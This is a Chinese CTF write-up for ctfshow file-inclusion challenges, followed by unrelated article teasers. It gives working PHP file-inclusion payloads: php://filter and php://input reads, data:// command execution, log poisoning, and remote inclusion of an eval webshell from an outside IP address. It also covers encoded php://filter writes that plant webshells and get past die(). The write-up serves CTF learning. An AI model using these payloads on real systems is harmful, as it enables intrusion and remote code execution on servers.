ctfshow-文件包含

server/2024/12/18 23:37:20/

78-php&http协议

GET传参,参数为file,没有过滤,直接包含

解法一(filter)

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

得到一串base64,解码之后则为flag.php的内容

解法二(input)

payload: 
?file=php://input post:<?php system('ls');?>
?file=php://input post:<?php system('tac flag.php');?>//tac和cat都可以

使用input,post里执行php代码,系统命令

解法三(远程文件包含 传shell)

payload: ?file=http://47.99.124.145/1.txt 
远程1.txt: <?php @eval($_POST['pass']);?> 

在服务器上创建一个1.txt,内容为一句话木马,使用file访问1.txt,解析一句话木马,连接shell

79-data&http协议

php被过滤为???,无法绕过,选择不使用php,使用data://

解法一(data)

file=data://text/plain,<?=system('tac fl*');?>

php被过滤了,这里的<?php system('');?>要写成<?=system('');?>

解法二(data-base64)

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

先将后面的base64值改为<?php system('ls');?>的base64值,传参执行,在将base64的值改为<?php system('tac flag.php');?>

解法三(远程文件包含 传shell)

payload:

?file=http://47.99.124.145/1.txt 

1.txt:

<?php @eval($_POST['pass']);?>

80-日志包含

过滤php,data关键字

ctfshow是nginx服务,日志文件目录/var/log/nginx/access.log

解法一(包含日志文件)

日志文件包含ua信息,我们在ua中插入一句话木马

解法二(远程文件包含)

81-日志包含

过滤php、data、:

解法一(包含日志文件)

包含日志文件可以直接包含马,也可以执行命令

87-php://filter/write&加密编码

分析:

file:GET传参

content:POST传参

过滤php、data、:、.

file_put_contents文件写入(并且进行一次url解码)

绕过die

解法:

我们file传参使用php://filter,在进行url编码

content传参写入ROT13编码后的一句话木马

payload:(要对payload进行二次URL全编码)

php://filter/write=string.rot13/resource=shell.php

Nodepad++可以进行URL全编码

两次URL全编码后Payload

%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%37%33%25%36%38%25%36%35%25%36%43%25%36%43%25%32%45%25%37%30%25%36%38%25%37%30

content:

<?cuc riny($_CBFG['cnff']);?>

shell.php一句话木马成功写入

还可以使用php://filter/write=convert.base64-decode/resource=test.php

<?php eval($_POST['pass']);?>

payload:

?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%37%34%25%36%35%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30

content:aaPD9waHAgZXZhbCgkX1BPU1RbJ3Bhc3MnXSk7Pz4=

(前面两个a是因为不加a会报错,字节流不符合)

88-data&base64协议

过滤了很多字符,没有过滤data,使用data-base64绕过

解法

由于直接构造base64编码后也有被过滤的字符,所以我们添加无用字符,使构造后的base64中不含有被过滤字符

116-misc+文件包含

打开是一个mp4文件,下载

放入随波逐流

binwalk发现有一个png

foremost分离出png

file参数,GET传参

过滤了很多关键字,但是有file_get_contents函数读取文件,我们直接传参

?file=flag.php

117-php://filter/write-iconv.UCS-2LE.UCS-2BE

最后的结果是将<?php die();?>和contents的内容写入file

过滤了rot13、base64等,我们使用其他过滤器

绕过死亡die

我们使用convert.iconv过滤器,将正常的die代码转变为不正常的代码,将我们输入的不正常的代码转换为正常代码

php脚本:(用来生成content值)

<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>

类似于rot13,经过两次反转之后可以变为原来的内容,因此我们将第一次反转的值写入content,这样在通过filter再写入文件会进行第二次反转,最后写入文件的内容还是<?php eval($_POST[a]);?>,经过第二次反转之后die函数也被破坏,从而绕过die

payload:

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents:?<hp pvela$(P_SO[T]a;)>?


http://www.ppmy.cn/server/151290.html

相关文章

C++小工具封装 —— NetWork(TCP、UDP)

在之前的文章中我们介绍到也写到基于TCP和UDP协议的网络通信。本篇我们又闲得无聊把这俩给封装成一个小工具以满足实际应用时多功能网络服务器的需要。 这个NetWork小工具是在Windows下制作的所以别忘了该有的头文件。C中编写我们就遵循面向对象的思想来。 #ifndef NETWORK_H …

开源分布式系统追踪-03-CNCF jaeger-02-快速开始

分布式跟踪系列 CAT cat monitor 分布式监控 CAT-是什么&#xff1f; cat monitor-02-分布式监控 CAT埋点 cat monitor-03-深度剖析开源分布式监控CAT cat monitor-04-cat 服务端部署实战 cat monitor-05-cat 客户端集成实战 cat monitor-06-cat 消息存储 skywalking …

TQ15EG开发板教程:使用SSH登录petalinux

本例程在上一章“创建运行petalinux2019.1”基础上进行&#xff0c;本例程将实现使用SSH登录petalinux。 将上一章生成的BOOT.BIN与imag.ub文件放入到SD卡中启动。给开发板插入电源与串口&#xff0c;注意串口插入后会识别出两个串口号&#xff0c;都需要打开&#xff0c;查看串…

【计算机视觉】医疗图像关键点识别

1. CNN 1.1. 设备参数 1.2. 代码 import torch import torch.nn as nn import torch.optim as optim from torch.utils.data import Dataset, DataLoader from torchvision import transforms from tqdm import tqdm import os import cv2 import numpy as np import time im…

什么是正则化?Regularization: The Stabilizer of Machine Learning Models(中英双语)

正则化&#xff1a;机器学习模型的稳定器 1. 什么是正则化&#xff1f; 正则化&#xff08;Regularization&#xff09;是一种在机器学习模型训练中&#xff0c;通过约束模型复杂性以防止过拟合的技术。 它的核心目标是让模型不仅在训练集上表现良好&#xff0c;还能在测试集上…

通过ajax的jsonp方式实现跨域访问,并处理响应

一、场景描述 现有一个项目A&#xff0c;需要请求项目B的某个接口&#xff0c;并根据B接口响应结果A处理后续逻辑。 二、具体实现 1、前端 前端项目A发送请求&#xff0c;这里通过jsonp的方式实现跨域访问。 $.ajax({ url:http://10.10.2.256:8280/ssoCheck, //请求的u…

PySide6程序框架设计

pyside6有一个优点自动适配高分辨ui pyqt5需要自己写这部分逻辑 1、主程序代码 DINGSHI01Main.py # -*- coding: utf-8 -*- import sys,time,copy from PySide6.QtWidgets import QWidget,QApplication from PySide6.QtCore import Qt from PySide6 import QtCore, QtGui, Q…

ActiveMQ 反序列化漏洞CVE-2015-5254复现

文章目录 一、产生原因二、利用条件三、利用过程四、PoC&#xff08;概念验证&#xff09;五、poc环境验证使用find搜索vulhub已安装目录打开activeMQ组件查看配置文件端口启动镜像-文件配置好后对于Docker 镜像下载问题及解决办法设置好镜像源地址&#xff0c;进行重启docker查…